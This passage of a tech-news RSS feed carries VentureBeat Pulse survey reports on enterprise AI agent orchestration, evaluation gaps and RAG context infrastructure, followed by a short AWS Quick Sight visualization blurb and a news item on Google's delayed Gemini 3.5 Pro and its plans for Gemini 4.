well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 9: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
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<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[Building multi-Region visualizations with Highcharts in Amazon Quick]]></title>
<description><![CDATA[This post shows you how to build multi-Region carrier performance dashboards in Quick Sight using Highcharts custom visualizations to overcome native chart limitations. You will learn how to maintain data sovereignty across AWS Regions while creating unified visualizations through the Quick Sight...]]></description>
<link>https://tsecurity.de/de/3689761/ai-nachrichten/building-multi-region-visualizations-with-highcharts-in-amazon-quick/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689761/ai-nachrichten/building-multi-region-visualizations-with-highcharts-in-amazon-quick/</guid>
<pubDate>Thu, 23 Jul 2026 18:54:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This post shows you how to build multi-Region carrier performance dashboards in Quick Sight using Highcharts custom visualizations to overcome native chart limitations. You will learn how to maintain data sovereignty across AWS Regions while creating unified visualizations through the Quick Sight federated dataset capability. The solution includes production-ready chart configurations and addresses security, compliance, and scalability requirements.]]></content:encoded>
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<title><![CDATA[Google CEO distracts from Gemini 3.5 Pro delay with talk of Gemini 4 and monthly releases]]></title>
<description><![CDATA[Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent L...]]></description>
<link>https://tsecurity.de/de/3689702/ai-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689702/ai-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</guid>
<pubDate>Thu, 23 Jul 2026 18:38:04 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent LLMs at an almost monthly cadence.</p>



<p class="wp-block-paragraph">His comments came a day after <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/" target="_blank" rel="noreferrer noopener">Google unveiled Gemini 3.6 Flash</a> and 3.5 Flash Cyber but offered no update on the release of Gemini 3.5 Pro, the company’s delayed flagship reasoning model that many developers had expected to arrive weeks earlier.</p>



<p class="wp-block-paragraph">Google introduced the Gemini 3.5 family at its annual I/O conference, promising to release the Pro model in June. That timeline has since slipped, with <a href="http://bloomberg.com/news/articles/2026-07-16/google-gemini-launch-delayed-as-tech-falls-short-of-internal-goals" target="_blank" rel="noreferrer noopener">Bloomberg suggesting Gemini 3.5 Pro is months late</a> because the model’s coding performance is falling short of internal expectations, especially when compared to better performance by similar models from OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Instead of revisiting the Gemini 3.5 Pro timeline, Pichai used the earnings call to shift the discussion toward Gemini 4, when asked about how his company planned to navigate an increasingly competitive race to release frontier AI models by to Barclays Investment Bank analyst Ross Sandler.</p>



<p class="wp-block-paragraph">“We are creating a baseline on top of which you will see us rapidly iterate on subsequent model releases. And so picking up pace and releasing models almost at a monthly cadence is part of our road map as we are building Gemini 4 as well,” Pichai said during the <a href="https://www.youtube.com/watch?v=LzExSq9DU9w" target="_blank" rel="noreferrer noopener">call</a>.</p>



<p class="wp-block-paragraph">Sandler’s question followed one from JPMorgan Chase &amp; Co analyst <a href="https://www.linkedin.com/in/douglas-anmuth-9229621/" target="_blank" rel="noreferrer noopener">Douglas Anmuth</a>, who asked Pichai if Google was releasing frontier AI models frequently enough to keep pace with rivals OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Pichai had responded to Anmuth’s question that Google remained confident of competing at the frontier and was investing heavily in a larger Gemini 4 base model.</p>



